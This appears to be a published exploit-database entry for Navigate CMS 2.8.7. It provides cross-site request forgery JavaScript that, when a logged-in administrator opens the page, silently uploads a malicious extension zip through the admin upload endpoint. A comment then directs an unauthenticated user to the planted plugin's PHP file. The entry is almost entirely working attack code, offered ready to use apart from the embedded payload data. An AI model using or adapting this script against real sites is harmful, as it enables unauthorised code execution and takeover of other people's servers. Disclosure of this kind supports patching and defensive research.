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Navigate CMS 2.8.7 - Cross-Site Request Forgery (Add Admin)

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Ken1Ve

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# Exploit Title: Navigate CMS 2.8.7 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://www.navigatecms.com/en/home
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download
# Version: 2.8.7
# Tested on: Ubuntu
# CVE: 

<!--
After having an authenticated admin access this HTML page, simply go to as an unauthenticated user (path may slightly vary depending on installation location):
http://DOMAIN.com/navigate/plugins/chiv/chiv.php
-->

<script>
var logUrl = "http://localhost/navigate/navigate.php?fid=extensions&act=extension_upload";

function byteValue(x) {
    return x.charCodeAt(0) & 0xff;
}

function toBytes(datastr) {
    var ords = Array.prototype.map.call(datastr, byteValue);
    var ui8a = new Uint8Array(ords);
    return ui8a.buffer;
}

if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) {
	XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
	    this.send(toBytes(datastr));
	}
}

function fileUpload(fileData, fileName) {
	  var fileSize = fileData.length,
	    boundary = "---------------------------399386530342483226231822376790",
	    uri = logUrl,
	    xhr = new XMLHttpRequest();

	  var additionalFields = {
	  }

	  var fileFieldName = "extension-upload";
	  
	  xhr.open("POST", uri, true);
	  xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
	  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request.
	  xhr.setRequestHeader("Content-Length", fileSize);
	  xhr.withCredentials = "true";
 
	  xhr.onreadystatechange = function() {
	    if (xhr.readyState == 4) {
	      if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {
	        
	        if (xhr.responseText != "") {
	          alert(JSON.parse(xhr.responseText).msg); // display response.
	        }
	      } else if (xhr.status == 0) {
	     $("#goto").show();
	      }
	    }
	  }
	  
	  var body = "";
	  
	  for (var i in additionalFields) {
		  if (additionalFields.hasOwnProperty(i)) {
			  body += addField(i, additionalFields[i], boundary);
		  }
	  }

	  body += addFileField(fileFieldName, fileData, fileName, boundary);
	  body += "--" + boundary + "--";
	  xhr.sendAsBinary(body);
	  return true;
}

function addField(name, value, boundary) {
	var c = "--" + boundary + "\r\n"
	c += "Content-Disposition: form-data; name='" + name + "'\r\n\r\n";
	c += value + "\r\n";
	return c;
}

function addFileField(name, value, filename, boundary) {
    var c = "--" + boundary + "\r\n"
    c += "Content-Disposition: form-data; name='" + name + "'; filename='" + filename + "'\r\n";
    c += "Content-Type: application/zip\r\n\r\n";
    c += value + "\r\n";
    return c;	
}

var start = function() {
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	fileUpload(c, "chiv.zip");
};

start();
</script>
            
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